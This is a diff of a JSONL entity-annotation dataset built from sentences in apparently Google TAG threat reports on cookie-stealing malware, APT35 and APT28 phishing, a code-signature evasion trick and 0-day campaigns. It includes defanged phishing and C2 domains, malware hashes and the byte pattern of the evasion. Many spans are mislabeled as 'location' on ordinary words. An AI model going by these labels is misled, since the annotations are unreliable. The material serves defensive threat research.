-{"id":11758,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.","entities":[{"id":36247,"label":"location","start_offset":10,"end_offset":16},{"id":36248,"label":"location","start_offset":126,"end_offset":129},{"id":36249,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":11759,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[{"id":36250,"label":"location","start_offset":14,"end_offset":18},{"id":36251,"label":"location","start_offset":30,"end_offset":33},{"id":36252,"label":"location","start_offset":103,"end_offset":106},{"id":36253,"label":"location","start_offset":145,"end_offset":149},{"id":36254,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":11760,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[{"id":36255,"label":"location","start_offset":75,"end_offset":78},{"id":36256,"label":"location","start_offset":109,"end_offset":113},{"id":36257,"label":"location","start_offset":114,"end_offset":117},{"id":36258,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":11761,"text":"We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.","entities":[{"id":36259,"label":"location","start_offset":88,"end_offset":92},{"id":36260,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":11762,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.","entities":[{"id":36265,"label":"malware","start_offset":79,"end_offset":86},{"id":36272,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":11763,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":36276,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":36278,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":11764,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[{"id":36279,"label":"location","start_offset":15,"end_offset":18},{"id":36280,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":11765,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[{"id":36281,"label":"location","start_offset":0,"end_offset":4},{"id":36282,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":11766,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[{"id":36283,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":11767,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
-{"id":11768,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[{"id":36284,"label":"location","start_offset":3,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":11769,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[{"id":36285,"label":"location","start_offset":34,"end_offset":37},{"id":36286,"label":"location","start_offset":38,"end_offset":45},{"id":36287,"label":"location","start_offset":108,"end_offset":113},{"id":36288,"label":"location","start_offset":137,"end_offset":145},{"id":36289,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":11770,"text":"The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.","entities":[{"id":36290,"label":"location","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":11771,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
-{"id":11772,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[{"id":36291,"label":"location","start_offset":49,"end_offset":53},{"id":36293,"label":"location","start_offset":125,"end_offset":128},{"id":36295,"label":"location","start_offset":187,"end_offset":192},{"id":36296,"label":"location","start_offset":280,"end_offset":285},{"id":36297,"label":"location","start_offset":299,"end_offset":305}],"relations":[],"Comments":[]}
-{"id":11773,"text":" We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":36298,"label":"location","start_offset":4,"end_offset":7},{"id":36299,"label":"location","start_offset":53,"end_offset":56},{"id":36300,"label":"location","start_offset":80,"end_offset":83},{"id":36301,"label":"location","start_offset":121,"end_offset":124},{"id":36302,"label":"location","start_offset":125,"end_offset":129},{"id":36303,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":11774,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[{"id":36304,"label":"location","start_offset":107,"end_offset":110},{"id":36305,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":11775,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":36306,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":11776,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":36307,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11777,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":36309,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":11778,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":36310,"label":"location","start_offset":10,"end_offset":14},{"id":36311,"label":"location","start_offset":89,"end_offset":95},{"id":36312,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":11779,"text":"So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.","entities":[{"id":36316,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":11780,"text":"This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.","entities":[{"id":36318,"label":"location","start_offset":51,"end_offset":56},{"id":36319,"label":"location","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":11781,"text":"We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.","entities":[{"id":36323,"label":"location","start_offset":65,"end_offset":68},{"id":36324,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":11782,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
-{"id":11783,"text":"This means that there is typically more than one threat actor behind the warnings.","entities":[{"id":36329,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":11784,"text":"In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":36331,"label":"location","start_offset":37,"end_offset":41},{"id":36335,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":11785,"text":"This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.","entities":[{"id":36336,"label":"location","start_offset":12,"end_offset":15},{"id":36339,"label":"location","start_offset":71,"end_offset":76},{"id":36340,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":11786,"text":"For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":36342,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":11787,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":36345,"label":"APT","start_offset":15,"end_offset":20},{"id":36347,"label":"location","start_offset":64,"end_offset":74},{"id":36348,"label":"location","start_offset":78,"end_offset":82},{"id":36349,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":11788,"text":"Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.","entities":[{"id":36350,"label":"location","start_offset":60,"end_offset":67},{"id":36353,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
+{"id":11787,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":36345,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":36347,"label":"location","start_offset":64,"end_offset":74},{"id":36348,"label":"location","start_offset":78,"end_offset":82},{"id":36349,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":11789,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
 {"id":11790,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[{"id":36355,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":36356,"label":"location","start_offset":17,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":11791,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":36358,"label":"APT","start_offset":0,"end_offset":5},{"id":36360,"label":"location","start_offset":93,"end_offset":101},{"id":36362,"label":"location","start_offset":137,"end_offset":140},{"id":36363,"label":"location","start_offset":141,"end_offset":149},{"id":36364,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
+{"id":11791,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":36358,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":36360,"label":"location","start_offset":93,"end_offset":101},{"id":36362,"label":"location","start_offset":137,"end_offset":140},{"id":36363,"label":"location","start_offset":141,"end_offset":149},{"id":36364,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":11792,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.","entities":[{"id":36365,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":36366,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":11793,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]}
-{"id":11794,"text":"The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.","entities":[{"id":36370,"label":"location","start_offset":100,"end_offset":104},{"id":36371,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":11795,"text":"Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.","entities":[{"id":36373,"label":"location","start_offset":32,"end_offset":35},{"id":36375,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":11796,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":36377,"label":"location","start_offset":45,"end_offset":48},{"id":36378,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":11797,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":36381,"label":"location","start_offset":11,"end_offset":15},{"id":36383,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":11798,"text":"Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.","entities":[{"id":36385,"label":"location","start_offset":35,"end_offset":38},{"id":36386,"label":"location","start_offset":58,"end_offset":63},{"id":36388,"label":"location","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":11799,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":36389,"label":"location","start_offset":30,"end_offset":34},{"id":36390,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":11800,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":36392,"label":"location","start_offset":71,"end_offset":78},{"id":36393,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":11801,"text":"Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.","entities":[{"id":36394,"label":"location","start_offset":16,"end_offset":19},{"id":36395,"label":"location","start_offset":35,"end_offset":38},{"id":36396,"label":"location","start_offset":70,"end_offset":73},{"id":36397,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":11802,"text":"We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.","entities":[{"id":36400,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":11803,"text":"Services from Dropbox and Microsoft are also abused.","entities":[{"id":36404,"label":"location","start_offset":22,"end_offset":25},{"id":36406,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":11804,"text":"One of APT35’s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
 {"id":11805,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":36410,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":36411,"label":"location","start_offset":63,"end_offset":67},{"id":36412,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":11806,"text":"To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.","entities":[{"id":36415,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":11807,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":36416,"label":"location","start_offset":83,"end_offset":86},{"id":36417,"label":"location","start_offset":126,"end_offset":129},{"id":36418,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":36419,"label":"location","start_offset":168,"end_offset":173},{"id":36420,"label":"location","start_offset":177,"end_offset":181},{"id":36421,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":11808,"text":"We reported the bot to Telegram and they have taken action to remove it.","entities":[{"id":36423,"label":"location","start_offset":32,"end_offset":35},{"id":36424,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":11809,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":36425,"label":"APT","start_offset":62,"end_offset":67},{"id":36426,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":11810,"text":"Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.","entities":[{"id":36428,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":11811,"text":"If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.","entities":[{"id":36430,"label":"location","start_offset":80,"end_offset":85},{"id":36431,"label":"location","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":11812,"text":"Workspace administrators are also notified regarding targeted accounts in their domain.","entities":[{"id":36432,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":11813,"text":"Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.","entities":[{"id":36433,"label":"location","start_offset":6,"end_offset":9},{"id":36434,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":11814,"text":"We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":36439,"label":"location","start_offset":85,"end_offset":93},{"id":36440,"label":"location","start_offset":148,"end_offset":151},{"id":36441,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":11815,"text":"When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.","entities":[{"id":36443,"label":"location","start_offset":80,"end_offset":87},{"id":36444,"label":"location","start_offset":122,"end_offset":126},{"id":36445,"label":"location","start_offset":147,"end_offset":154},{"id":36446,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
+{"id":11809,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":36425,"label":"threat-actor","start_offset":62,"end_offset":67},{"id":36426,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":11816,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]}
-{"id":11817,"text":"Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.","entities":[{"id":36450,"label":"location","start_offset":22,"end_offset":26},{"id":36451,"label":"location","start_offset":59,"end_offset":62},{"id":36452,"label":"location","start_offset":109,"end_offset":117},{"id":36453,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":11818,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":36454,"label":"APT","start_offset":16,"end_offset":21},{"id":36455,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":36456,"label":"location","start_offset":31,"end_offset":39},{"id":36457,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":36458,"label":"URL","start_offset":229,"end_offset":255},{"id":36459,"label":"location","start_offset":256,"end_offset":260},{"id":36460,"label":"URL","start_offset":292,"end_offset":318},{"id":36461,"label":"location","start_offset":319,"end_offset":323},{"id":36462,"label":"URL","start_offset":340,"end_offset":366},{"id":36463,"label":"location","start_offset":367,"end_offset":371},{"id":36464,"label":"malware","start_offset":410,"end_offset":417},{"id":36465,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
+{"id":11818,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":36454,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":36455,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":36456,"label":"location","start_offset":31,"end_offset":39},{"id":36457,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":36458,"label":"URL","start_offset":229,"end_offset":255},{"id":36459,"label":"location","start_offset":256,"end_offset":260},{"id":36460,"label":"URL","start_offset":292,"end_offset":318},{"id":36461,"label":"location","start_offset":319,"end_offset":323},{"id":36462,"label":"URL","start_offset":340,"end_offset":366},{"id":36463,"label":"location","start_offset":367,"end_offset":371},{"id":36464,"label":"malware","start_offset":410,"end_offset":417},{"id":36465,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
 {"id":11819,"text":"Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info  ","entities":[{"id":36466,"label":"attack-pattern","start_offset":0,"end_offset":8},{"id":36467,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":11820,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection  Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]}
-{"id":11821,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":36469,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":11822,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]}
-{"id":11823,"text":"This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.","entities":[{"id":36470,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":11824,"text":"Attackers often rely on varying behaviors between different systems to gain access.","entities":[{"id":36471,"label":"location","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":11825,"text":"For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.","entities":[{"id":36472,"label":"location","start_offset":25,"end_offset":28},{"id":36473,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":11826,"text":"In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.","entities":[{"id":36474,"label":"location","start_offset":7,"end_offset":11},{"id":36475,"label":"location","start_offset":103,"end_offset":106},{"id":36477,"label":"location","start_offset":139,"end_offset":142},{"id":36479,"label":"location","start_offset":224,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":11827,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
 {"id":11828,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]}
-{"id":11829,"text":"Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.","entities":[{"id":36481,"label":"location","start_offset":14,"end_offset":17},{"id":36482,"label":"location","start_offset":112,"end_offset":115},{"id":36483,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":11830,"text":"OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.","entities":[{"id":36485,"label":"location","start_offset":78,"end_offset":81},{"id":36486,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":11831,"text":"The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.","entities":[{"id":36488,"label":"location","start_offset":49,"end_offset":53},{"id":36489,"label":"location","start_offset":72,"end_offset":75},{"id":36490,"label":"location","start_offset":119,"end_offset":123},{"id":36492,"label":"location","start_offset":170,"end_offset":173},{"id":36493,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":11832,"text":"Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.","entities":[{"id":36495,"label":"location","start_offset":31,"end_offset":34},{"id":36496,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":11833,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":36498,"label":"malware","start_offset":18,"end_offset":30},{"id":36499,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":11834,"text":"In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.","entities":[{"id":36500,"label":"location","start_offset":67,"end_offset":74},{"id":36501,"label":"location","start_offset":175,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":11835,"text":"EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).  ","entities":[{"id":36502,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":11836,"text":"Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00","entities":[],"relations":[],"Comments":[]}
-{"id":11837,"text":"Decodes to the following elements: SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1) EOC  Security products using OpenSSL to extract signature information will reject this encoding as invalid.","entities":[{"id":36503,"label":"location","start_offset":132,"end_offset":140},{"id":36504,"label":"location","start_offset":197,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":11838,"text":"However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.","entities":[{"id":36505,"label":"location","start_offset":87,"end_offset":91},{"id":36506,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":11839,"text":"This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.","entities":[{"id":36508,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":11840,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]}
-{"id":11841,"text":"This issue has been reported to Microsoft.","entities":[{"id":36509,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":11842,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":36511,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":11843,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection","entities":[{"id":36512,"label":"location","start_offset":14,"end_offset":17},{"id":36513,"label":"SHA1","start_offset":46,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":11844,"text":"New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":36514,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":11845,"text":"Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.","entities":[{"id":36516,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":11846,"text":"Users are encouraged to only download and install software from reputable and trustworthy sources.","entities":[{"id":36517,"label":"location","start_offset":6,"end_offset":9},{"id":36518,"label":"location","start_offset":24,"end_offset":28},{"id":36519,"label":"location","start_offset":38,"end_offset":41},{"id":36520,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":11847,"text":" Zero-day vulnerabilities are unknown software flaws.","entities":[{"id":36522,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":11848,"text":"Until they’re identified and fixed, they can be exploited by attackers.","entities":[{"id":36523,"label":"location","start_offset":25,"end_offset":28},{"id":36524,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":11849,"text":"Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, this includes hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success.","entities":[{"id":36527,"label":"location","start_offset":79,"end_offset":82},{"id":36528,"label":"location","start_offset":157,"end_offset":164},{"id":36529,"label":"location","start_offset":213,"end_offset":216},{"id":36530,"label":"location","start_offset":258,"end_offset":261},{"id":36531,"label":"location","start_offset":282,"end_offset":289}],"relations":[],"Comments":[]}
-{"id":11850,"text":"In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year: CVE-2021-21166 and CVE-2021-30551 in Chrome, CVE-2021-33742 in Internet Explorer, and CVE-2021-1879 in WebKit (Safari).","entities":[{"id":36536,"label":"location","start_offset":165,"end_offset":168},{"id":36538,"label":"location","start_offset":232,"end_offset":235}],"relations":[],"Comments":[]}
 {"id":11851,"text":"The four exploits were used as a part of three different campaigns.","entities":[],"relations":[],"Comments":[]}
-{"id":11852,"text":"As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks.","entities":[{"id":36542,"label":"location","start_offset":77,"end_offset":83},{"id":36543,"label":"location","start_offset":84,"end_offset":87},{"id":36544,"label":"location","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":11853,"text":"We assess three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors.","entities":[{"id":36546,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":11854,"text":"Google has also published root cause analyses (RCAs) on each of the 0-days.","entities":[{"id":36549,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":11855,"text":"In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year.","entities":[{"id":36551,"label":"location","start_offset":73,"end_offset":78},{"id":36553,"label":"location","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":11856,"text":"Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020.","entities":[{"id":36555,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
